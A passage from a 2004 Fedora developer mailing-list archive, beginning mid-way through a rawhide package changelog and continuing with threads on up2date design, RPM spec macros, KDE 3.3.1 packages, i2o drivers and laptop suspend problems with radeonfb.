- update to 2.8.1 * Fri Oct 08 2004 Alexander Larsson - 2.8.0-3 - Backport more fixes from cvs neon-0.24.7-4 ------------- * Tue Oct 12 2004 Joe Orton 0.24.7-4 - update to GSSAPI code from trunk pam_ccreds-1-3 -------------- * Tue Oct 12 2004 Miloslav Trmac pam_ccreds-1-3 - BuildRequire: automake16, openssl (from Maxim Dzumanenko, #134674) parted-1.6.15-3 --------------- * Tue Oct 12 2004 Jeremy Katz - 1.6.15-3 - add patch from peterm to fix printing of the size of large devices (#135468) perl-5.8.5-9 ------------ * Tue Oct 12 2004 Jose Pedro Oliveira - Corrected the license information (missing GPL). - Added the URL tag. - Removed empty .bs files. - Eliminated several strip generated messages (bug 127025). - Corrected problems mentioned in bug 120772 (updated Ville Skytt* Tue Oct 12 2004 Chip Turner 3:5.8.5-7 * Tue Oct 12 2004 Chip Turner - bugzilla: 135303, add more missing 5.8.4 paths * Mon Oct 11 2004 Tim Waugh - Build requires groff (bug #135101). policycoreutils-1.17.6-2 ------------------------ * Tue Oct 12 2004 Dan Walsh 1.17.6-2 - Only run fixfiles.cron once a week, and eliminate null message prelink-0.3.2-11 ---------------- * Tue Oct 12 2004 Jakub Jelinek 0.3.2-11 - update PT_PHDR program header if present when adding new program headers (#133734) redhat-artwork-0.113-1 ---------------------- * Tue Oct 12 2004 Alexander Larsson - 0.113-1 - Fix medium volume icon * Thu Oct 07 2004 Alexander Larsson - 0.112-2.1E - RHEL build with new gdm theme redhat-menus-1.9-2 ------------------ * Wed Oct 13 2004 Bill Nottingham 1.9-2 - own /etc/xdg (#130596) reiserfs-utils-3.6.18-1 ----------------------- * Tue Oct 12 2004 Florian La Roche - 3.6.18 rpmdb-fedora-2.92-0.20041013 ---------------------------- selinux-policy-strict-1.17.30-2 ------------------------------- * Tue Oct 12 2004 Dan Walsh 1.17.30-2 - Cleanup patch - Add removable_t associate selinux-policy-targeted-1.17.30-2 --------------------------------- * Tue Oct 12 2004 Dan Walsh 1.17.30-2 - Cleanup patch - Add removable_t associate setarch-1.5-1 ------------- * Tue Oct 12 2004 Jindrich Novy 1.5-1 - Add various personality options #130511 - Update man page shadow-utils-4.0.3-31 --------------------- * Tue Oct 12 2004 Adrian Havill 2:4.0.3-31 - check for non-standard legacy place for ncsd HUP (/var/run/nscd.pid) and then the std FHS place (/var/run/nscd.pid) (#125421) squid-2.5.STABLE6-2 ------------------- * Tue Oct 12 2004 Jay Fenlason 7:2.5.STABLE6-2 - Include fix for CAN-2004-0918 system-config-printer-0.6.115-1 ------------------------------- * Tue Oct 12 2004 Tim Waugh 0.6.115-1 - 0.6.115: - SMB URI fix for domain\user authentication (bug #132742). - Applied patch to fix printconf.pot from Ronny Buchmann (bug #135195). system-config-securitylevel-1.4.9-1 ----------------------------------- * Tue Oct 12 2004 Dan Walsh 1.4.9-1 - Fix problem when SELinux not installed, apply button blows up. system-config-services-0.8.14-1 ------------------------------- * Tue Oct 12 2004 Nils Philippsen 0.8.14-1 - actually install nonblockingreader module (#135445) tcpdump-3.8.2-7 --------------- * Tue Oct 12 2004 Harald Hoyer - 14:3.8.2-7 - fixed nfs protocol parsing for 64 bit architectures (bug 132781) tora-1.3.14.1-2 --------------- * Tue Oct 12 2004 Tim Waugh 1.3.14.1-2 - Build requires qt-designer (bug #134963). From Alan Pevec. totem-0.99.18-2 --------------- * Tue Oct 12 2004 Alexander Larsson - 0.99.18-2 - Call update-desktop-database in post * Tue Oct 12 2004 Alexander Larsson - 0.99.18-1 - update to 0.99.18 udev-035-1 ---------- * Tue Oct 12 2004 Harald Hoyer - 035-1 - version 035, which only improves wait_for_sysfs - load ide modules in start_udev, until a hotplug script is available (bug 135260) * Mon Oct 11 2004 Harald Hoyer - 034-3 - removed scary error messages from wait_for_sysfs - symlink from nst? -> tape? - kill udevd on update vim-6.3.030-2 ------------- * Mon Oct 11 2004 Karsten Hopp 6.3.030-2 - add cscope to vimrc so that cscope DB will be used automatically when available vino-2.8.1-1 ------------ * Tue Oct 12 2004 Mark McLoughlin 2.8.1-1 - Update to 2.8.1 - Remove backported fixes xpdf-3.00-8 ----------- * Tue Oct 12 2004 Than Ngo 1:3.00-8 - fix default fonts setting From pnasrat at redhat.com Wed Oct 13 12:26:24 2004 From: pnasrat at redhat.com (Paul Nasrat) Date: Wed, 13 Oct 2004 13:26:24 +0100 Subject: up2date development In-Reply-To: <416D0954.8060401@balclutha.org> References: <416D0954.8060401@balclutha.org> Message-ID: <1097670384.4071.20.camel@anu.eridu> On Wed, 2004-10-13 at 20:54 +1000, Alan Milligan wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Sorry, I should have started this in a separate thread to begin with, so > please bear with me for continuing here. > > As stated earlier, we have a firm agenda to ensure up2date remains both > that current with Python and a generalised rpm gui tool. > > As with the earlier post, I'm not too concerned about missing FC3 > cutoff, we're all committed to the long-term of Fedora. > > As outlined, removing the OpenSSL package, rpclib, and other sins, is by > no means trivial (although not that complicated either). But it is > certainly too complex to expect bugzilla to usefully manage the process. It still needs to go in bugzilla whether or not design discussion is going on else where. > At the least, it requires coordination and discussion to agree that all > parties interests are met - I am not interested in doing work that's not > going to be accepted, nor in working upon out of date, irrelevant > images, or difficult back-ports. I can understand that. fedora-devel may be a bit high traffic for this. It might be worth punting off rhn-users, but that's not quite right. Maybe it'd be worth having a seperate list. > Can I please be put in touch with the affected RH people (on or off the > list), so we can decide upon a manner to proceed, somewhat in the vane > of other open projects we all know and love? rpm --changelog is your friend: alikins at redhat.com You probably want to pull in the current development too - current maintainer CC'd. as they are intrested in the other end. Paul From fedora at wir-sind-cool.org Wed Oct 13 12:35:34 2004 From: fedora at wir-sind-cool.org (Michael Schwendt) Date: Wed, 13 Oct 2004 14:35:34 +0200 Subject: python2.2 -> python2.3 In-Reply-To: <416D08C3.4070605@togami.com> References: <20041013095125.DE50F733A7@hormel.redhat.com> <416D049E.4040205@balclutha.org> <1097664501.26996.14.camel@bobcat.mine.nu> <416D08C3.4070605@togami.com> Message-ID: <20041013143534.5c622dc4.fedora@wir-sind-cool.org> On Wed, 13 Oct 2004 00:51:47 -1000, Warren Togami wrote: > > In addition to the above, a %{pyver} (primarily for python-abi) and a > > couple of incdir (arch dependent/ arch independent) macros would be > > welcome. > > > > Keep in mind that normally stuff like %{pyver} is a horrible sin in RPM > packaging because you cannot depend on stuff being in the buildroot > during RPM spec parsing. However in the case of perl and python we do > it anyway because they are within the minimum package set. > > Querying perl and python: OK > Querying mozilla or qt : BAD If you buildrequire Mozilla or Qt, you can query them without problems, of course. Because when they're not installed in the build environment, rpmbuild fails. And when they're installed, querying them works. -- Fedora Core release 2 (Tettnang) - Linux 2.6.8-1.541 loadavg: 1.00 1.00 0.82 From wtogami at redhat.com Wed Oct 13 12:46:26 2004 From: wtogami at redhat.com (Warren Togami) Date: Wed, 13 Oct 2004 02:46:26 -1000 Subject: python2.2 -> python2.3 In-Reply-To: <20041013143534.5c622dc4.fedora@wir-sind-cool.org> References: <20041013095125.DE50F733A7@hormel.redhat.com> <416D049E.4040205@balclutha.org> <1097664501.26996.14.camel@bobcat.mine.nu> <416D08C3.4070605@togami.com> <20041013143534.5c622dc4.fedora@wir-sind-cool.org> Message-ID: <416D23A2.4080107@redhat.com> Michael Schwendt wrote: > > If you buildrequire Mozilla or Qt, you can query them without problems, > of course. Because when they're not installed in the build environment, > rpmbuild fails. And when they're installed, querying them works. > You can query mozilla or qt during %prep %build or %install, but not during preprocessing. Warren Togami wtogami at redhat.com From pknirsch at redhat.com Wed Oct 13 18:46:35 2004 From: pknirsch at redhat.com (Phil Knirsch) Date: Wed, 13 Oct 2004 14:46:35 -0400 Subject: python2.2 -> python2.3 In-Reply-To: <20041013143534.5c622dc4.fedora@wir-sind-cool.org> References: <20041013095125.DE50F733A7@hormel.redhat.com> <416D049E.4040205@balclutha.org> <1097664501.26996.14.camel@bobcat.mine.nu> <416D08C3.4070605@togami.com> <20041013143534.5c622dc4.fedora@wir-sind-cool.org> Message-ID: <416D780B.30008@redhat.com> Michael Schwendt wrote: > On Wed, 13 Oct 2004 00:51:47 -1000, Warren Togami wrote: > > >>>In addition to the above, a %{pyver} (primarily for python-abi) and a >>>couple of incdir (arch dependent/ arch independent) macros would be >>>welcome. >>> >> >>Keep in mind that normally stuff like %{pyver} is a horrible sin in RPM >>packaging because you cannot depend on stuff being in the buildroot >>during RPM spec parsing. However in the case of perl and python we do >>it anyway because they are within the minimum package set. >> >>Querying perl and python: OK >>Querying mozilla or qt : BAD > > > If you buildrequire Mozilla or Qt, you can query them without problems, > of course. Because when they're not installed in the build environment, > rpmbuild fails. And when they're installed, querying them works. > Well, yes, but that's not querying them, thats a standard rpm feature which is perfectly valid. Whats bad is doing something like this (just an example, no real life package should have such nonsense): %build if [ -d /usr/lib/mozilla-1.7.3 ] then; echo "Yeah, let's fiddle with mozilla-1.7.3." else echo "Dang, no mozilla-1.7.3 found, i'm going to break badly now." fi That's bound to cause problems in the long run, although this is still a fairly harmless example. One could do much worse stuff with things like that. So the basic rule: Use the mechanisms that rpm offers you to the fullest extent. And if something is missing, try to not rely on any setup you think might be there. I just remember one package which checks if /etc/mnttab is there and relys on that check to enable some disk specific modules etc... Read ya, Phil -- Philipp Knirsch | Tel.: +49-711-96437-470 Development | Fax.: +49-711-96437-111 Red Hat GmbH | Email: Phil Knirsch Hauptstaetterstr. 58 | Web: http://www.redhat.de/ D-70178 Stuttgart Motd: You're only jealous cos the little penguins are talking to me. From ndbecker2 at verizon.net Wed Oct 13 12:54:00 2004 From: ndbecker2 at verizon.net (Neal D. Becker) Date: Wed, 13 Oct 2004 08:54:00 -0400 Subject: Should I mention kde-3.3.1? Message-ID: Subject says it all. From lfarkas at bppiac.hu Wed Oct 13 13:04:16 2004 From: lfarkas at bppiac.hu (Farkas Levente) Date: Wed, 13 Oct 2004 15:04:16 +0200 Subject: rawhide report: 20041013 changes In-Reply-To: <200410131202.i9DC28J14260@porkchop.devel.redhat.com> References: <200410131202.i9DC28J14260@porkchop.devel.redhat.com> Message-ID: <416D27D0.9060801@bppiac.hu> Build System wrote: > pam_ccreds-1-3 > -------------- > * Tue Oct 12 2004 Miloslav Trmac pam_ccreds-1-3 > > - BuildRequire: automake16, openssl (from Maxim Dzumanenko, #134674) if pam_ccreds are added than, it'd be nice to add nss_updatedb too. -- Levente "Si vis pacem para bellum!" From cturner at redhat.com Wed Oct 13 13:06:29 2004 From: cturner at redhat.com (Chip Turner) Date: Wed, 13 Oct 2004 09:06:29 -0400 Subject: up2date and XML-RPC GET In-Reply-To: <416C8CF5.7060709@balclutha.org> (Alan Milligan's message of "Wed, 13 Oct 2004 12:03:33 +1000") References: <416C8CF5.7060709@balclutha.org> Message-ID: Alan Milligan writes: > It seems that someone has recently decided that GET requests for up2date > ~ make a lot of sense. > > While this is both more efficient in terms of having to read the request > ~ body and having to xml parse it, unfortunately it is not part of the > XML-RPC protocol. > > According to Dave Winer's spec at http://www.xmlrpc.com/spec, and to > everyone else, XML-RPC is a HTTP-POST protocol. > > I appreciate that XML-RPC's file limitations already require up2date to > return non-XML-RPC payloads, but wonton undermining of these protocols > leads us down the path of Microsoft. > > Can we agree that up2date was not designed and developed exclusively for > RedHat environments, and that as such, it's in all of our interests to > keep it durable. > > I can provide you with the necessary patch to fix this if required, but > I'd first like to hear whether or not you'd apply it. Umm... I think you're laboring under some misunderstandings. The GETs in up2dare are completely outside of the context of an XMLRPC request. Nothing about the XMLRPC spec says 'you cannot use GET requests in conjunction with actual XMLRPC calls.' That's like saying you can't mmap a file if you fopen'd a different file. Different tools for different jobs. Moreover, the non-yum/apt communication layer for up2date is strictly for speaking to the RHN servers maintained by RH. It doesn't undermine any protocol or standard if that communications tunnel is XMLRPC, GET, XMLRPC/raw(*), EBCDIC, email, snail mail, ftp, or ICMP echo packets. All of the publicly exposed xmlrpc APIs for RHN (which aren't the up2date APIs) conform to proper XMLRPC requests. This is what matters most to users. (*) - XMLRPC request whose response is raw data, ie, not an xmlrpc response Chip -- Chip Turner cturner at redhat.com Red Hat, Inc. From cturner at redhat.com Wed Oct 13 13:15:17 2004 From: cturner at redhat.com (Chip Turner) Date: Wed, 13 Oct 2004 09:15:17 -0400 Subject: up2date development References: <416D0954.8060401@balclutha.org> Message-ID: Alan Milligan writes: > As stated earlier, we have a firm agenda to ensure up2date remains both > that current with Python and a generalised rpm gui tool. Who is 'we'? What is your goal? > As outlined, removing the OpenSSL package, rpclib, and other sins, is by > no means trivial (although not that complicated either). But it is > certainly too complex to expect bugzilla to usefully manage the process. Perhaps you should start in email about what exactly is wrong and what your goals are before going down the path of filing bugs or sending patches. That would give you the best chance of success. I've not not heard anything about removing openssl or rpclib, much less justification for calling them sins. I suspect you don't fully understand the constraints and requirements on up2date to really say for sure what can or can't be removed (which, to be fair, is hard to know unless you're in RHN as most of those are internal constraints and requirements at a business or technological level). > Can I please be put in touch with the affected RH people (on or off the > list), so we can decide upon a manner to proceed, somewhat in the vane > of other open projects we all know and love? up2date is not an open source project. It is open source -software- (feel free to embrace/extend it all you want), but to date it has been developed strictly in-house in RHN to meet specific Red Hat goals. That could conceivably change, given the right set of circumstances, but it would need to line up with the goals RH and RHN have in mind for up2date (or, at the very least, not be contrary to those goals). Chip -- Chip Turner cturner at redhat.com Red Hat, Inc. From thias at spam.spam.spam.spam.spam.spam.spam.egg.and.spam.freshrpms.net Wed Oct 13 13:23:31 2004 From: thias at spam.spam.spam.spam.spam.spam.spam.egg.and.spam.freshrpms.net (Matthias Saou) Date: Wed, 13 Oct 2004 15:23:31 +0200 Subject: APM/ACPI on ThinkPads [ Was: Fedora Core 3 Bug Status - 2004-10-11] In-Reply-To: <1097618391.6178.2.camel@roque> References: <20041011161059.GA25927@nostromo.devel.redhat.com> <416B186A.6080203@redhat.com> <200410121334.03092.symbiont@berlios.de> <1097581738.2860.7.camel@localhost.localdomain> <1097612977.3723.3.camel@localhost.localdomain> <1097618391.6178.2.camel@roque> Message-ID: <20041013152331.2f534d1b@localhost> Rui Miguel Seabra wrote : > On Tue, 2004-10-12 at 16:29 -0400, Philip Balister wrote: > > I built the kernel (from the 521 rpm) adding the radeonfb-4g patch > > from: http://www.loria.fr/~thome/d600/ and changing the config so > > radeonfb was bult in (not a module). I added the patch to the specfile > > and used rpmbuild -bp to configure the source (also edited the i686 > > config file) > > > > I can now go in and out of S3 succesfully. I don't know what the larger > > consequences of these changes are on other pieces of hardware. I have a > > Dell D600. > > I'm trying to add that framebuffer patch to -603 > > I hope resuming works from then on :) I've also successfully included that patch in kernel packages I've rebuilt, and it does enable my display to actually work after resuming. One thing worth pointing out, and which could favor the inclusion of that patch : I didn't need to select the radeonfb to be built in, it works as a module as long as it's also added to the initrd. One drawback though, that I haven't investigated, is that the console resolution is then the same as without fb instead of the tiny characters using up the full resolution of the LCD I got when having radeonfb built-in. FWIW, I have an Inspiron 8600 with a Radeon 9600 Mobility. Matthias -- Clean custom Red Hat Linux rpm packages : http://freshrpms.net/ Fedora Core release 2.91 (FC3 Test 2) - Linux kernel 2.6.8-1.541.dell Load : 1.16 1.04 0.73 From terraformers at gmx.net Wed Oct 13 13:33:51 2004 From: terraformers at gmx.net (Lars) Date: Wed, 13 Oct 2004 15:33:51 +0200 Subject: Should I mention kde-3.3.1? References: Message-ID: somehow ftp://ftp.kde.org/pub/kde/stable/3.3.1/RedHat/Fedora2/i386/kdebase-3.3.1-0.1.i386.rpm is 99megs big! hmmm... anyone tried it? L Neal D. Becker wrote: > Subject says it all. > From than at redhat.com Wed Oct 13 13:48:40 2004 From: than at redhat.com (Than Ngo) Date: Wed, 13 Oct 2004 15:48:40 +0200 Subject: Should I mention kde-3.3.1? In-Reply-To: References: Message-ID: <416D3238.4040304@redhat.com> Lars wrote: >somehow >ftp://ftp.kde.org/pub/kde/stable/3.3.1/RedHat/Fedora2/i386/kdebase-3.3.1-0.1.i386.rpm >is 99megs big! >hmmm... anyone tried it? > >L > > >Neal D. Becker wrote: > > > i have noticed it today. it's a problem on local build machine. new KDE rpms will be uploaded on ftp.kde.org for fc2 today. Than From lukasz at wsisiz.edu.pl Wed Oct 13 13:48:34 2004 From: lukasz at wsisiz.edu.pl (Lukasz Trabinski) Date: Wed, 13 Oct 2004 15:48:34 +0200 (CEST) Subject: Pident Message-ID: Hello In Fedora Core 1 and 2 we have pidentd, i can't find it in fedora Core development or test (2.9X). What's for replacement it? -- *[ ?ukasz Tr?bi?ski ]* From terraformers at gmx.net Wed Oct 13 13:56:22 2004 From: terraformers at gmx.net (Lars) Date: Wed, 13 Oct 2004 15:56:22 +0200 Subject: Should I mention kde-3.3.1? References: <416D3238.4040304@redhat.com> Message-ID: kool, thanks! :) cheers lars Than Ngo wrote: > Lars wrote: > >>somehow >>ftp://ftp.kde.org/pub/kde/stable/3.3.1/RedHat/Fedora2/i386/kdebase-3.3.1-0.1.i386.rpm >>is 99megs big! >>hmmm... anyone tried it? >> > > i have noticed it today. it's a problem on local build machine. new KDE > rpms will be uploaded on ftp.kde.org for fc2 today. > > Than > From mattdm at mattdm.org Wed Oct 13 14:05:35 2004 From: mattdm at mattdm.org (Matthew Miller) Date: Wed, 13 Oct 2004 10:05:35 -0400 Subject: Pident In-Reply-To: References: Message-ID: <20041013140535.GA5730@jadzia.bu.edu> On Wed, Oct 13, 2004 at 03:48:34PM +0200, Lukasz Trabinski wrote: > In Fedora Core 1 and 2 we have pidentd, i can't find it in fedora Core > development or test (2.9X). What's for replacement it? authd -- Matthew Miller mattdm at mattdm.org Boston University Linux ------> From fedora at wir-sind-cool.org Wed Oct 13 14:10:47 2004 From: fedora at wir-sind-cool.org (Michael Schwendt) Date: Wed, 13 Oct 2004 16:10:47 +0200 Subject: python2.2 -> python2.3 In-Reply-To: <416D23A2.4080107@redhat.com> References: <20041013095125.DE50F733A7@hormel.redhat.com> <416D049E.4040205@balclutha.org> <1097664501.26996.14.camel@bobcat.mine.nu> <416D08C3.4070605@togami.com> <20041013143534.5c622dc4.fedora@wir-sind-cool.org> <416D23A2.4080107@redhat.com> Message-ID: <20041013161047.480f049f.fedora@wir-sind-cool.org> On Wed, 13 Oct 2004 02:46:26 -1000, Warren Togami wrote: > Michael Schwendt wrote: > > > > If you buildrequire Mozilla or Qt, you can query them without problems, > > of course. Because when they're not installed in the build environment, > > rpmbuild fails. And when they're installed, querying them works. > > > > You can query mozilla or qt during %prep %build or %install, but not > during preprocessing. Why not? I refer to rare cases like this (.spec file excerpt): Buildrequires: kdelibs-devel %if %{!?_with_kde32:1}%{?_with_kde32:0} %define have_mimetypedefs 1 %else %define have_mimetypedefs %(if test -z $(rpm -ql kdelibs | grep -m1 x-iso.desk top); then echo 0; else echo 1; fi) %endif This is no different from running Python or Perl code. If, however, you mean "it is now permitted to do that although it works with plain rpmbuild" (but breaks cross-platform build tools like mach), then that's a different side of the story. -- Fedora Core release 2.92 (FC3 Test 3) - Linux 2.6.8-1.541 loadavg: 1.35 1.22 0.83 From dragoran at feuerpokemon.de Wed Oct 13 14:29:11 2004 From: dragoran at feuerpokemon.de (dragoran) Date: Wed, 13 Oct 2004 16:29:11 +0200 Subject: Should I mention kde-3.3.1? In-Reply-To: References: <416D3238.4040304@redhat.com> Message-ID: <416D3BB7.1070402@feuerpokemon.de> Lars schrieb: >kool, thanks! :) > > >cheers >lars > > >Than Ngo wrote: > > > >>Lars wrote: >> >> >> >>>somehow >>>ftp://ftp.kde.org/pub/kde/stable/3.3.1/RedHat/Fedora2/i386/kdebase-3.3.1-0.1.i386.rpm >>>is 99megs big! >>>hmmm... anyone tried it? >>> >>> >>> >>i have noticed it today. it's a problem on local build machine. new KDE >>rpms will be uploaded on ftp.kde.org for fc2 today. >> >>Than >> >> >> > > > > will kde 3.3.1 be in fc3 or it is to late now? From bobgus at rcn.com Wed Oct 13 15:08:02 2004 From: bobgus at rcn.com (Bob Gustafson) Date: Wed, 13 Oct 2004 10:08:02 -0500 Subject: I20 disk driver, etc.. Should I use? In-Reply-To: <416C8CF5.7060709@balclutha.org> Message-ID: I noticed that my current disk drivers are deprecated - use I20... I ran across a note a FAQ and a HOWTO on installing i20 disk driver support. I think I have a compatible SCSI adapter and disks. I guess the big questions are: 1) will I get any benefit from using i20 (i.e., faster, safer, more disk fail info, etc.) 2) will I risk screwing up my current disk data? 3) does smartd info work through i20 ? Thanks for any info Bob Gustafson From alan at redhat.com Wed Oct 13 15:12:03 2004 From: alan at redhat.com (Alan Cox) Date: Wed, 13 Oct 2004 11:12:03 -0400 Subject: I20 disk driver, etc.. Should I use? In-Reply-To: References: <416C8CF5.7060709@balclutha.org> Message-ID: <20041013151203.GA16039@devserv.devel.redhat.com> On Wed, Oct 13, 2004 at 10:08:02AM -0500, Bob Gustafson wrote: > 1) will I get any benefit from using i20 (i.e., faster, safer, more disk > fail info, etc.) dpt_i2o and the generic i2o are both drivers that talk the same messages to the hardware. The former is dpt specific the latter is all i2o > 2) will I risk screwing up my current disk data? I'd hope not > 3) does smartd info work through i20 ? Should do From bobgus at rcn.com Wed Oct 13 16:15:31 2004 From: bobgus at rcn.com (Bob Gustafson) Date: Wed, 13 Oct 2004 11:15:31 -0500 Subject: I20 disk driver, etc.. Should I use? In-Reply-To: <20041013151203.GA16039@devserv.devel.redhat.com> References: <416C8CF5.7060709@balclutha.org> Message-ID: I have the Adaptec AIC-7902 controller. This is a bigger number than the controller listed in the first line of the i2o compatibles. Is this OK? ----- Looks like I don't currently have i2o installed [root at hoho2 user1]# /sbin/lsmod | grep i2o zit, nada However, I do have the i2o_proc.ko module hanging around in what looks like a good spot (smp 607) [root at hoho2 user1]# find / -name i2o_proc.ko -print /lib/modules/2.6.8-1.603/kernel/drivers/message/i2o/i2o_proc.ko /lib/modules/2.6.8-1.607smp/kernel/drivers/message/i2o/i2o_proc.ko /lib/modules/2.6.8-1.607/kernel/drivers/message/i2o/i2o_proc.ko /lib/modules/2.6.8-1.603smp/kernel/drivers/message/i2o/i2o_proc.ko What is the easiest (and safest) way to proceed from this starting point, without having to go back to anacondo (the big bang stage). Can I just do: /sbin/insmod i2o_proc.ko /sbin/lsmod | grep i2o and then reboot? Or stick something into /etc/modprobe.conf ?? BobG On Wed, 13 Oct 2004 11:12:03 -0400, Alan Cox wrote: >On Wed, Oct 13, 2004 at 10:08:02AM -0500, Bob Gustafson wrote: >> 1) will I get any benefit from using i20 (i.e., faster, safer, more disk >> fail info, etc.) > >dpt_i2o and the generic i2o are both drivers that talk the same messages >to the hardware. The former is dpt specific the latter is all i2o > >> 2) will I risk screwing up my current disk data? > >I'd hope not > >> 3) does smartd info work through i20 ? > >Should do > >-- >fedora-devel-list mailing list >fedora-devel-list at redhat.com >http://www.redhat.com/mailman/listinfo/fedora-devel-list From balay at fastmail.fm Wed Oct 13 16:48:15 2004 From: balay at fastmail.fm (Satish Balay) Date: Wed, 13 Oct 2004 11:48:15 -0500 (CDT) Subject: APM/ACPI on ThinkPads [ SOLVED ] In-Reply-To: <1097612977.3723.3.camel@localhost.localdomain> References: <20041011161059.GA25927@nostromo.devel.redhat.com> <416B186A.6080203@redhat.com> <200410121334.03092.symbiont@berlios.de> <1097581738.2860.7.camel@localhost.localdomain> <1097612977.3723.3.camel@localhost.localdomain> Message-ID: On Tue, 12 Oct 2004, Philip Balister wrote: > I built the kernel (from the 521 rpm) adding the radeonfb-4g patch from: > http://www.loria.fr/~thome/d600/ and changing the config so radeonfb was > bult in (not a module). I added the patch to the specfile and used > rpmbuild -bp to configure the source (also edited the i686 config file) I tried the 607 kernel on both the 600E & T40 - and both APM & ACPI issues are solved now. With my brief testing - APM works as before. With ACPI the biggest issues was me being a 'clueless user'. The key-binding for 'Recover-from-suspend' from 'power switch' to 'Fn'-key - and I assumed ACPI breakage. However ACPI-sleep still consumes lot more power than APM sleep - this would be an upsteam issue. I gess the radeonfb-4g patch isn't required for T40 with ATI-9000 Satish From thias at spam.spam.spam.spam.spam.spam.spam.egg.and.spam.freshrpms.net Wed Oct 13 17:21:30 2004 From: thias at spam.spam.spam.spam.spam.spam.spam.egg.and.spam.freshrpms.net (Matthias Saou) Date: Wed, 13 Oct 2004 19:21:30 +0200 Subject: ACPI w/ Radeon Mobility 9600 (was: Re: APM/ACPI on ThinkPads [ SOLVED ]) In-Reply-To: References: <20041011161059.GA25927@nostromo.devel.redhat.com> <416B186A.6080203@redhat.com> <200410121334.03092.symbiont@berlios.de> <1097581738.2860.7.camel@localhost.localdomain> <1097612977.3723.3.camel@localhost.localdomain> Message-ID: <20041013192130.4fdb6941@localhost> Satish Balay wrote : > On Tue, 12 Oct 2004, Philip Balister wrote: > > > I built the kernel (from the 521 rpm) adding the radeonfb-4g patch > > from: http://www.loria.fr/~thome/d600/ and changing the config so > > radeonfb was bult in (not a module). I added the patch to the specfile > > and used rpmbuild -bp to configure the source (also edited the i686 > > config file) > > I tried the 607 kernel on both the 600E & T40 - and both APM & ACPI > issues are solved now. > > With my brief testing - APM works as before. With ACPI the biggest > issues was me being a 'clueless user'. The key-binding for > 'Recover-from-suspend' from 'power switch' to 'Fn'-key - and I assumed > ACPI breakage. > > However ACPI-sleep still consumes lot more power than APM sleep - this > would be an upsteam issue. > > I gess the radeonfb-4g patch isn't required for T40 with ATI-9000 It is required for my 9600 Mobility : - Resuming with the default 607 kernel gives a nasty "melting display" effect, although blindly rebooting with "Crtl+Alt+F1" then Ctrl+Alt+Del" works. - Adding the radeonfb module to the initrd (and video=radeonfb to my kernel's grub line) gets me the neat fb using full resolution, but same problem when resuming. - Rebuilding the kernel rpm with that patch applied and the same settings as above gets resume working, with this, though : Stopping tasks: ========================================================================== ==============| usbhid 2-1:1.0: resume is unsafe! radeonfb: suspending to state: 3... agpgart: Found an AGP 2.0 compliant device at 0000:00:00.0. agpgart: Putting AGP V2 device at 0000:00:00.0 into 0x mode agpgart: Putting AGP V2 device at 0000:01:00.0 into 0x mode Back to C! zapping low mappings. Debug: sleeping function called from invalid context at mm/slab.c:2063 in_atomic():0[expected: 0], irqs_disabled():1 [<0211d869>] __might_sleep+0x7d/0x88 [<0214b7ea>] __kmalloc+0x42/0x7d [<02205585>] acpi_os_allocate+0xa/0xb [<022192db>] acpi_ut_allocate+0x2e/0x52 [<02219272>] acpi_ut_initialize_buffer+0x41/0x7c [<022160c0>] acpi_rs_create_byte_stream+0x23/0x3b [<022174ea>] acpi_rs_set_srs_method_data+0x1b/0x9d [<0211be1d>] recalc_task_prio+0x128/0x133 [<0221ed10>] acpi_pci_link_set+0xfe/0x176 [<0221f094>] irqrouter_resume+0x1c/0x24 [<0225453a>] sysdev_resume+0x3e/0xa5 [<022574b0>] device_power_up+0x5/0xa [<0213d3b6>] suspend_enter+0x25/0x2d [<0213d424>] enter_state+0x3f/0x5e [<0221b8ab>] acpi_suspend+0x3b/0x48 [<0221c310>] acpi_system_write_sleep+0x5c/0x6d [<021653ae>] vfs_write+0xb6/0xe2 [<02165478>] sys_write+0x3c/0x62 PCI: Setting latency timer of device 0000:00:1d.0 to 64 PCI: Setting latency timer of device 0000:00:1d.0 to 64 PCI: Setting latency timer of device 0000:00:1d.1 to 64 PCI: Setting latency timer of device 0000:00:1d.1 to 64 PCI: Setting latency timer of device 0000:00:1d.2 to 64 PCI: Setting latency timer of device 0000:00:1d.2 to 64 ACPI: PCI interrupt 0000:00:1d.7[D] -> GSI 11 (level, low) -> IRQ 11 PCI: Setting latency timer of device 0000:00:1d.7 to 64 ACPI: PCI interrupt 0000:00:1f.1[A] -> GSI 11 (level, low) -> IRQ 11 ACPI: PCI interrupt 0000:00:1f.5[B] -> GSI 7 (level, low) -> IRQ 7 PCI: Setting latency timer of device 0000:00:1f.5 to 64 ACPI: PCI interrupt 0000:00:1f.6[B] -> GSI 7 (level, low) -> IRQ 7 PCI: Setting latency timer of device 0000:00:1f.6 to 64 zapping low mappings. radeonfb: resumed ! PCI: Enabling device 0000:02:01.1 (0000 -> 0002) ACPI: PCI interrupt 0000:02:01.1[A] -> GSI 11 (level, low) -> IRQ 11 Restarting tasks...<6>usb 2-1: USB disconnect, address 3 done usb 2-1: new low speed USB device using address 4 input: USB HID v1.10 Mouse [Logitech USB-PS/2 Optical Mouse] on usb-0000:00:1d.0-1 ip_tables: (C) 2000-2002 Netfilter core team Disabled Privacy Extensions on device 0237d4c0(lo) ip_tables: (C) 2000-2002 Netfilter core team b44: eth0: Link is up at 100 Mbps, full duplex. b44: eth0: Flow control is on for TX and on for RX. I'm not sure how nasty that "sleeping function called from invalid context" error is... everything seems fine after a resume, minus the IrDA it seems, I'll need to unload more modules and stop the irda service from my suspend script it seems. Matthias -- Clean custom Red Hat Linux rpm packages : http://freshrpms.net/ Fedora Core release 2.91 (FC3 Test 2) - Linux kernel 2.6.8-1.607.radeon Load : 3.25 1.94 0.77 From ang3l0 at katamail.com Wed Oct 13 18:28:13 2004 From: ang3l0 at katamail.com (Angelo) Date: Wed, 13 Oct 2004 20:28:13 +0200 Subject: hotplug doesn't work on kernels >= 2.6.7 Message-ID: <416D73BD.2030806@katamail.com> Hi all. I've fedora core 2 installed on my desktop and laptop. I've noticed that with kernels (smp and non) >= 2.6.7 hotplugging (linux-hotplug.sf.net) doesn't work at all on my desktop, on the laptop works fine. I mean that if i plug-in a usb device with the successfully booted machine it simply doesn't recognize at all that i've plugged in the device: - NO /var/log/messages after i plug-in - NO /sbin/hotplug call - NO debug messages on a full kernel log - NO strange messages in the dmesg (when booting) - NO new device using /sbin/lsusb Simply nothing strange. Cold-plugging works fine, I mean plug-in the device and the boot the machine. Is there some way to diagnosticate better the issue and report here or in bugzilla the results ? HW info of the victim box: - P4P800 Deluxe mobo - Pentium 4 2.8 HT - 1GB of DDR RAM usb devices tried: - pendrive - hp printer - usb mouse All these 